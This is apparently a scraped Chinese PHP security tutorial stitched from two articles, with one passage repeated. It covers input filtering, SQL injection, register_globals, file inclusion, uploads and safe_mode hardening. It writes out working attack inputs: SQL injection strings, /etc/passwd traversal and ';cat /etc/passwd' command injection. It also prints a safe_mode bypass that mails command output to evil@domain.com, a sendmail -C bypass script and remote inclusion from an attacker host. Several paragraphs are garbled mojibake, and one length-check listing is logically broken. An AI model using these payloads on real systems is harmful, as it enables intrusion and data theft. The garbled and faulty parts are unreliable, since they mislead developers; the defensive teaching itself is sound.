这 里有什么错吗?首先,这里隐含地相信来自浏览器的 GET 变量 pid 是安全的。这会怎么样呢?大多数用户没那么聪明,无法构造出语义攻击。但是,如果他们注意到浏览器的 URL 位置域中的 pid=33,就可能开始捣乱。如果他们输入另一个数字,那么可能没问题;但是如果输入别的东西,比如输入 SQL 命令或某个文件的名称(比如 /etc/passwd),或者搞别的恶作剧,比如输入长达 3,000 个字符的数值,那么会发生什么呢?
在这种情况下,要记住基本规则,不要信任用户输入。应用程序开发人员知道 template.php 接受的个人标识符(PID)应该是数字,所以可以使用 PHP 的 is_numeric()函数确保不接受非数字的 PID,如下所示:
清单 9. 使用 is_numeric() 来* GET 变量复制代码 代码如下:
<?php
$pid = $_GET['pid'];
if (is_numeric($pid)){
//we create an object of a fictional class Page$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page}else{
//didn't pass the is_numeric() test, do something else!
}
?>
这个方法似乎是有效的,但是以下这些输入都能够轻松地通过 is_numeric() 的检查:
100 (有效)
100.1 (不应该有小数位)
+0123.45e6 (科学计数法 —— 不好)
0xff33669f (十六进制 —— 危险!危险!)那么,有安全意识的 PHP 开发人员应该怎么做呢?多年的经验表明,最好的做法是使用正则表达式来确保整个 GET 变量由数字组成,如下所示:
清单 10. 使用正则表达式* GET 变量
复制代码 代码如下:
<?php
$pid = $_GET['pid'];
if (strlen($pid)){
if (!ereg(”^[0-9]+$”,$pid)){
//do something appropriate, like maybe logging them out or sending them back to home page}
}else{
//empty $pid, so send them back to the home page}
//we create an object of a fictional class Page, which is now//moderately protected from evil user input$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
需 要做的只是使用 strlen() 检查变量的长度是否非零;如果是,就使用一个全数字正则表达式来确保数据元素是有效的。如果 PID 包含字母、斜线、点号或任何与十六进制相似的内容,那么这个例程捕获它并将页面从用户活动中屏蔽。如果看一下 Page 类幕后的情况,就会看到有安全意识的 PHP 开发人员已经对用户输入 $pid 进行了转义,从而保护了 fetchPage() 方法,如下所示:
清单 11. 对 fetchPage() 方法进行转义
复制代码 代码如下:
<?php
class Page{
function fetchPage($pid){
$sql = “select pid,title,desc,kw,content,status from page where pid='”.mysql_real_escape_string($pid).”'”;}
}
?>
您可能会问,“既然已经确保 PID 是数字,那么为什么还要进行转义?” 因为不知道在多少不同的上下文和情况中会使用 fetchPage() 方法。必须在调用这个方法的所有地方进行保护,而方法中的转义体现了纵深防御的意义。
如 果用户尝试输入非常长的数值,比如长达 1000 个字符,试图发起缓冲区溢出攻击,那么会发生什么呢?下一节更详细地讨论这个问题,但是目前可以添加另一个检查,确保输入的 PID 具有正确的长度。您知道数据库的 pid 字段的最大长度是 5 位,所以可以添加下面的检查。
清单 12. 使用正则表达式和长度检查来* GET 变量复制代码 代码如下:
<?php
$pid = $_GET['pid'];
if (strlen($pid)){
if (!ereg(”^[0-9]+$”,$pid) && strlen($pid) > 5){//do something appropriate, like maybe logging them out or sending them back to home page}
} else {
//empty $pid, so send them back to the home page}
//we create an object of a fictional class Page, which is now//even more protected from evil user input$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
现在,任何人都无法在数据库应用程序中塞进一个 5,000 位的数值 —— 至少在涉及 GET 字符串的地方不会有这种情况。想像一下黑客在试图突破您的应用程序而遭到挫折时咬牙切齿的样子吧!而且因为关闭了错误报告,黑客更难进行侦察。
缓冲区溢出攻击
缓冲区溢出攻击 试图使 PHP 应用程序中(或者更精确地说,在 Apache 或底层操作系统中)的内存分配缓冲区发生溢出。请记住,您可能是使用 PHP 这样的高级语言来编写 Web 应用程序,但是最终还是要调用 C(在 Apache 的情况下)。与大多数低级语言一样,C 对于内存分配有严格的规则。
缓冲区溢出攻击向缓冲区发送大量数据,使部分数据溢出到相邻的内存缓冲区,从而破坏缓冲区或者重写逻辑。这样就能够造成拒绝服务、破坏数据或者在远程服务器上执行恶意代码。
防止缓冲区溢出攻击的惟一方法是检查所有用户输入的长度。例如,如果有一个表单元素要求输入用户的名字,那么在这个域上添加值为 40 的 maxlength 属性,并在后端使用 substr() 进行检查。清单 13 给出表单和 PHP 代码的简短示例。

php有什么安全规则,有哪些?

php安全篇值过滤用户输入的人参数
规则 1:绝不要信任外部数据或输入
关于Web应用程序安全性,必须认识到的第一件事是不应该信任外部数据。外部数据(outside data) 包括不是由程序员在PHP代码中直接输入的任何数据。在采取措施确保安全之前,来自任何其他来源(比如 GET 变量、表单 POST、数据库、配置文件、会话变量或 cookie)的任何数据都是不可信任的。
例如,下面的数据元素可以被认为是安全的,因为它们是在PHP中设置的。
复制代码 代码如下:
<?php
$myUsername = 'tmyer';
$arrayUsers = array('tmyer', 'tom', 'tommy');define(”GREETING”, 'hello there' . $myUsername);?>
但是,下面的数据元素都是有瑕疵的。
清单 2. 不安全、有瑕疵的代码
复制代码 代码如下:
<?php
$myUsername = $_POST['username']; //tainted!
$arrayUsers = array($myUsername, 'tom', 'tommy'); //tainted!
define(”GREETING”, 'hello there' . $myUsername); //tainted!
?>
为 什么第一个变量 $myUsername 是有瑕疵的?因为它直接来自表单 POST。用户可以在这个输入域中输入任何字符串,包括用来清除文件或运行以前上传的文件的恶意命令。您可能会问,“难道不能使用只接受字母 A-Z 的客户端(Javascrīpt)表单检验脚本来避免这种危险吗?”是的,这总是一个有好处的步骤,但是正如在后面会看到的,任何人都可以将任何表单下载 到自己的机器上,修改它,然后重新提交他们需要的任何内容。
解决方案很简单:必须对 $_POST['username'] 运行清理代码。如果不这么做,那么在使用 $myUsername 的任何其他时候(比如在数组或常量中),就可能污染这些对象。
对用户输入进行清理的一个简单方法是,使用正则表达式来处理它。在这个示例中,只希望接受字母。将字符串*为特定数量的字符,或者要求所有字母都是小写的,这可能也是个好主意。
清单 3. 使用户输入变得安全
复制代码 代码如下:
<?php
$myUsername = cleanInput($_POST['username']); //clean!
$arrayUsers = array($myUsername, 'tom', 'tommy'); //clean!
define(”GREETING”, 'hello there' . $myUsername); //clean!
function cleanInput($input){
$clean = strtolower($input);
$clean = preg_replace(”/[^a-z]/”, “”, $clean);$clean = substr($clean,0,12);
return $clean;
}
?>
规则 2:禁用那些使安全性难以实施的 PHP 设置已经知道了不能信任用户输入,还应该知道不应该信任机器上配置 PHP 的方式。例如,要确保禁用 register_globals。如果启用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替换同名的 GET 或 POST 字符串。通过禁用这个设置,PHP 强迫您在正确的名称空间中引用正确的变量。要使用来自表单 POST 的变量,应该引用 $_POST['variable']。这样就不会将这个特定变量误会成 cookie、会话或 GET 变量。
规则 3:如果不能理解它,就不能保护它
一些开发人员使用奇怪的语法,或者将语句组织得很紧凑,形成简短但是含义模糊的代码。这种方式可能效率高,但是如果您不理解代码正在做什么,那么就无法决定如何保护它。
例如,您喜欢下面两段代码中的哪一段?
清单 4. 使代码容易得到保护
复制代码 代码如下:
<?php
//obfuscated code
$input = (isset($_POST['username']) ? $_POST['username']:”);//unobfuscated code
$input = ”;
if (isset($_POST['username'])){
$input = $_POST['username'];
}else{
$input = ”;
}
?>
在第二个比较清晰的代码段中,很容易看出 $input 是有瑕疵的,需要进行清理,然后才能安全地处理。
规则 4:“纵深防御” 是新的法宝
本教程将用示例来说明如何保护在线表单,同时在处理表单的 PHP 代码中采用必要的措施。同样,即使使用 PHP regex 来确保 GET 变量完全是数字的,仍然可以采取措施确保 SQL 查询使用转义的用户输入。
纵深防御不只是一种好思想,它可以确保您不会陷入严重的麻烦。
既然已经讨论了基本规则,现在就来研究第一种威胁:SQL 注入攻击。
防止 SQL 注入攻击
在 SQL 注入攻击 中,用户通过操纵表单或 GET 查询字符串,将信息添加到数据库查询中。例如,假设有一个简单的登录数据库。这个数据库中的每个记录都有一个用户名字段和一个密码字段。构建一个登录表单,让用户能够登录。
清单 5. 简单的登录表单
复制代码 代码如下:
<html>
<head>
<title>Login</title>
</head>
<body>
<form action=”verify.php” method=”post”>
<p><label for='user'>Username</label>
<input type='text' name='user' id='user'/>
</p>
<p><label for='pw'>Password</label>
<input type='password' name='pw' id='pw'/>
</p>
<p><input type='submit' value='login'/></p>
</form>
</body>
</html>
这个表单接受用户输入的用户名和密码,并将用户输入提交给名为 verify.php 的文件。在这个文件中,PHP 处理来自登录表单的数据,如下所示:
清单 6. 不安全的 PHP 表单处理代码
复制代码 代码如下:
<?php
$okay = 0;
$username = $_POST['user'];
$pw = $_POST['pw'];
$sql = “select count(*) as ctr from users where username='”.$username.”' and password='”. $pw.”' limit 1″;$result = mysql_query($sql);
while ($data = mysql_fetch_object($result)){if ($data->ctr == 1){
//they're okay to enter the application!
$okay = 1;
}
}
if ($okay){
$_SESSION['loginokay'] = true;
header(”index.php”);
}else{
header(”login.php”);
}
?>
这 段代码看起来没问题,对吗?世界各地成百(甚至成千)的 PHP/MySQL 站点都在使用这样的代码。它错在哪里?好,记住 “不能信任用户输入”。这里没有对来自用户的任何信息进行转义,因此使应用程序容易受到攻击。具体来说,可能会出现任何类型的 SQL 注入攻击。
例如,如果用户输入 foo 作为用户名,输入 ' or '1′='1 作为密码,那么实际上会将以下字符串传递给 PHP,然后将查询传递给 MySQL:
复制代码 代码如下:
<?php
$sql = “select count(*) as ctr from users where username='foo' and password=” or '1′='1′ limit 1″;?>
这个查询总是返回计数值 1,因此 PHP 会允许进行访问。通过在密码字符串的末尾注入某些恶意 SQL,黑客就能装扮成合法的用户。
解 决这个问题的办法是,将 PHP 的内置 mysql_real_escape_string() 函数用作任何用户输入的包装器。这个函数对字符串中的字符进行转义,使字符串不可能传递撇号等特殊字符并让 MySQL 根据特殊字符进行操作。清单 7 展示了带转义处理的代码。
清单 7. 安全的 PHP 表单处理代码
复制代码 代码如下:
<?php
$okay = 0;
$username = $_POST['user'];
$pw = $_POST['pw'];
$sql = “select count(*) as ctr from users where username='”.mysql_real_escape_string($username).”' and password='”. mysql_real_escape_string($pw).”' limit 1″;$result = mysql_query($sql);
while ($data = mysql_fetch_object($result)){if ($data->ctr == 1){
//they're okay to enter the application!
$okay = 1;
}
}
if ($okay){
$_SESSION['loginokay'] = true;
header(”index.php”);
}else{
header(”login.php”);
}
?>
使用 mysql_real_escape_string() 作为用户输入的包装器,就可以避免用户输入中的任何恶意 SQL 注入。如果用户尝试通过 SQL 注入传递畸形的密码,那么会将以下查询传递给数据库:
select count(*) as ctr from users where username='foo' and password='\' or \'1\'=\'1′ limit 1″数据库中没有任何东西与这样的密码匹配。仅仅采用一个简单的步骤,就堵住了 Web 应用程序中的一个大漏洞。这里得出的经验是,总是应该对 SQL 查询的用户输入进行转义。
但是,还有几个安全漏洞需要堵住。下一项是操纵 GET 变量。
防止用户操纵 GET 变量
在前一节中,防止了用户使用畸形的密码进行登录。如果您很聪明,应该应用您学到的方法,确保对 SQL 语句的所有用户输入进行转义。
但 是,用户现在已经安全地登录了。用户拥有有效的密码,并不意味着他将按照规则行事 —— 他有很多机会能够造成损害。例如,应用程序可能允许用户查看特殊的内容。所有链接指向 template.php?pid=33 或 template.php?pid=321 这样的位置。URL 中问号后面的部分称为查询字符串。因为查询字符串直接放在 URL 中,所以也称为 GET 查询字符串。
在 PHP 中,如果禁用了 register_globals,那么可以用 $_GET['pid'] 访问这个字符串。在 template.php 页面中,可能会执行与清单 8 相似的操作。
清单 8. 示例 template.php
复制代码 代码如下:
<?php
$pid = $_GET['pid'];
//we create an object of a fictional class Page$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
这 里有什么错吗?首先,这里隐含地相信来自浏览器的 GET 变量 pid 是安全的。这会怎么样呢?大多数用户没那么聪明,无法构造出语义攻击。但是,如果他们注意到浏览器的 URL 位置域中的 pid=33,就可能开始捣乱。如果他们输入另一个数字,那么可能没问题;但是如果输入别的东西,比如输入 SQL 命令或某个文件的名称(比如 /etc/passwd),或者搞别的恶作剧,比如输入长达 3,000 个字符的数值,那么会发生什么呢?
在这种情况下,要记住基本规则,不要信任用户输入。应用程序开发人员知道 template.php 接受的个人标识符(PID)应该是数字,所以可以使用 PHP 的 is_numeric()函数确保不接受非数字的 PID,如下所示:
清单 9. 使用 is_numeric() 来* GET 变量复制代码 代码如下:
<?php
$pid = $_GET['pid'];
if (is_numeric($pid)){
//we create an object of a fictional class Page$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page}else{
//didn't pass the is_numeric() test, do something else!
}
?>
这个方法似乎是有效的,但是以下这些输入都能够轻松地通过 is_numeric() 的检查:
100 (有效)
100.1 (不应该有小数位)
+0123.45e6 (科学计数法 —— 不好)
0xff33669f (十六进制 —— 危险!危险!)那么,有安全意识的 PHP 开发人员应该怎么做呢?多年的经验表明,最好的做法是使用正则表达式来确保整个 GET 变量由数字组成,如下所示:
清单 10. 使用正则表达式* GET 变量
复制代码 代码如下:
<?php
$pid = $_GET['pid'];
if (strlen($pid)){
if (!ereg(”^[0-9]+$”,$pid)){
//do something appropriate, like maybe logging them out or sending them back to home page}
}else{
//empty $pid, so send them back to the home page}
//we create an object of a fictional class Page, which is now//moderately protected from evil user input$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
需 要做的只是使用 strlen() 检查变量的长度是否非零;如果是,就使用一个全数字正则表达式来确保数据元素是有效的。如果 PID 包含字母、斜线、点号或任何与十六进制相似的内容,那么这个例程捕获它并将页面从用户活动中屏蔽。如果看一下 Page 类幕后的情况,就会看到有安全意识的 PHP 开发人员已经对用户输入 $pid 进行了转义,从而保护了 fetchPage() 方法,如下所示:
清单 11. 对 fetchPage() 方法进行转义
复制代码 代码如下:
<?php
class Page{
function fetchPage($pid){
$sql = “select pid,title,desc,kw,content,status from page where pid='”.mysql_real_escape_string($pid).”'”;}
}
?>
您可能会问,“既然已经确保 PID 是数字,那么为什么还要进行转义?” 因为不知道在多少不同的上下文和情况中会使用 fetchPage() 方法。必须在调用这个方法的所有地方进行保护,而方法中的转义体现了纵深防御的意义。
如 果用户尝试输入非常长的数值,比如长达 1000 个字符,试图发起缓冲区溢出攻击,那么会发生什么呢?下一节更详细地讨论这个问题,但是目前可以添加另一个检查,确保输入的 PID 具有正确的长度。您知道数据库的 pid 字段的最大长度是 5 位,所以可以添加下面的检查。
清单 12. 使用正则表达式和长度检查来* GET 变量复制代码 代码如下:
<?php
$pid = $_GET['pid'];
if (strlen($pid)){
if (!ereg(”^[0-9]+$”,$pid) && strlen($pid) > 5){//do something appropriate, like maybe logging them out or sending them back to home page}
} else {
//empty $pid, so send them back to the home page}
//we create an object of a fictional class Page, which is now//even more protected from evil user input$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
现在,任何人都无法在数据库应用程序中塞进一个 5,000 位的数值 —— 至少在涉及 GET 字符串的地方不会有这种情况。想像一下黑客在试图突破您的应用程序而遭到挫折时咬牙切齿的样子吧!而且因为关闭了错误报告,黑客更难进行侦察。
缓冲区溢出攻击
缓冲区溢出攻击 试图使 PHP 应用程序中(或者更精确地说,在 Apache 或底层操作系统中)的内存分配缓冲区发生溢出。请记住,您可能是使用 PHP 这样的高级语言来编写 Web 应用程序,但是最终还是要调用 C(在 Apache 的情况下)。与大多数低级语言一样,C 对于内存分配有严格的规则。
缓冲区溢出攻击向缓冲区发送大量数据,使部分数据溢出到相邻的内存缓冲区,从而破坏缓冲区或者重写逻辑。这样就能够造成拒绝服务、破坏数据或者在远程服务器上执行恶意代码。
防止缓冲区溢出攻击的惟一方法是检查所有用户输入的长度。例如,如果有一个表单元素要求输入用户的名字,那么在这个域上添加值为 40 的 maxlength 属性,并在后端使用 substr() 进行检查。清单 13 给出表单和 PHP 代码的简短示例。

php安全配置 如何配置使其更安全

一、Web服务器安全

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

二、PHP本身问题

1、远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、远程拒绝服务

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3、safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode*执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的*执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

<? mail("foo@bar,"foo","bar","",$bar); ?>

执行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com

这将id执行的结果发送给evil@domain.com。

对于4.0.6至4.2.2的PHP突破safe_mode*其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode*执行命令:

<?
# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。

如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定义目录:

<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>

重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行*,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:

<?include("index.html")?>

几个文件的属性如下:

# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在浏览器请求test.php会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:

safe_mode_gid = On

设置了safe_mode以后,所有命令执行的函数将被*只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。

指定的*实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string
设置某些环境变罧赡苁乔痹诘陌踩?笨凇1局噶畎??幸桓龆汉欧指舻那白毫斜怼T诎踩?J较拢?没е荒芨谋淠切┟?志哂性谡饫锾峁┑那白旱幕肪潮淞俊D?锨榭鱿拢?没е荒苌柚靡?PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。

注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!

safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多*,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式*或屏蔽的函数可以参考PHP手册。

讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。

2、变量滥用

PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变罧梢灾苯幼⒉岢扇?直淞俊K?堑淖⒉崴承蚴荚ariables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:

<?
//test_1.php

if ($pass == "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>

攻击者只需用如下的请求就能绕过检查:
http://victim/test_1.php?auth=1

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞http://www.securityfocus.com/bid/3361

PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。

解决方法:

配置文件php.ini设置register_globals = Off。

要求程序员对作为判断的变量在程序最开始初始化一个值。

3、文件打开

极易受攻击的代码片断:

<?
//test_2.php

if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?>

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下请求可以读php文件本身:

http://victim/test_2.php?filename=test_2.php

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法:

如非特殊需要,把php的文件操作*在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:

<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>

重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免这种问题,前面已经讨论过了。

4、包含文件

极易受攻击的代码片断:

<?
//test_3.php

if(file_exists($filename))
include("$filename");
?>

这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

http://victim/test_3.php?filename=/etc/passwd

如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,http://attack/attack.txt的内容是<?passthru("ls /etc")?>,那么如下的请求就可以在目标主机执行命令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。
对于另外一种形式,如下代码片断:

<?
//test_4.php

include("$lib/config.php");
?>

攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

http://victim/test_4.php?lib=http://attack

PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

解决方法:

要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

如前面文件打开中*PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:

allow_url_fopen = Off

重启apache。

5、文件上传

php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且register_globals打开)

$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型

推荐使用:

$HTTP_POST_FILES[file][tmp_name]
$HTTP_POST_FILES[file][size]
$HTTP_POST_FILES[file][name]
$HTTP_POST_FILES[file][type]

这是一个最简单的文件上传代码:

<?
//test_5.php

if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传成功!点击<a href=\"$PHP_SELF\">继续上传</a>";
exit;
}
?>
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上传文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上传">
</form>
</body>
</html>

这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下的attack.txt文件里:

http://victim/test_5.php?upload= ... ile_name=attack.txt

然后可以用如下请求读取口令文件:

http://victim/test/attack.txt

攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。
攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。

解决方法:

PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。
使用$HTTP_POST_FILES数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是php脚本文件。

把PHP脚本操作*在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的*,所以不必修改php.ini里upload_tmp_dir的值。
把PHP脚本用phpencode进行加密,避免由于copy操作泄漏源码。
严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。
对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:

<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3换成php3_engine off
</Directory>

重启apache,upload目录的php文件就不能被apache解释了,即使上传了php文件也没有问题,只能直接显示源码。

6、命令执行

下面的代码片断是从PHPNetToolpack摘出,详细的描述见:

http://www.securityfocus.com/bid/4303

<?
//test_6.php

system("traceroute $a_query",$ret_strs);
?>

由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。

攻击者输入如下请求可以执行cat /etc/passwd命令:

http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险,慎用。如果要使用一定要严格检查用户输入。

解决方法:

要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。

启用safe_mode可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能绕过safe_mode的*去执行命令。

7、sql_inject

如下的SQL语句如果未对变量进行处理就会存在问题:

select * from login where user=$user and pass=$pass

攻击者可以用户名和口令都输入1 or 1=1绕过验证。

不过幸亏PHP有一个默认的选项magic_quotes_gpc = On,该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了:

select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1

从而避免了此类sql_inject攻击。

对于数字类型的字段,很多程序员会这样写:

select * from test where id=$id

由于变量没有用单引号扩起来,就会造成sql_inject攻击。幸亏MySQL功能简单,没有sqlserver等数据库有执行命令的SQL语句,而且PHP的mysql_query()函数也只允许执行一条SQL语句,所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。

解决方法:

要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。
